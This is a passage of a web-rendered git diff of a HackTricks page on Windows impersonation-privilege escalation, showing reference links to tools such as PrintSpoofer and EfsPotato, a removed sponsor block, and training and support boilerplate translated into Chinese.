* [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
|
||||
* [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
|
||||
|
@ -117,29 +101,18 @@ nt authority\system
|
|||
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否已被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue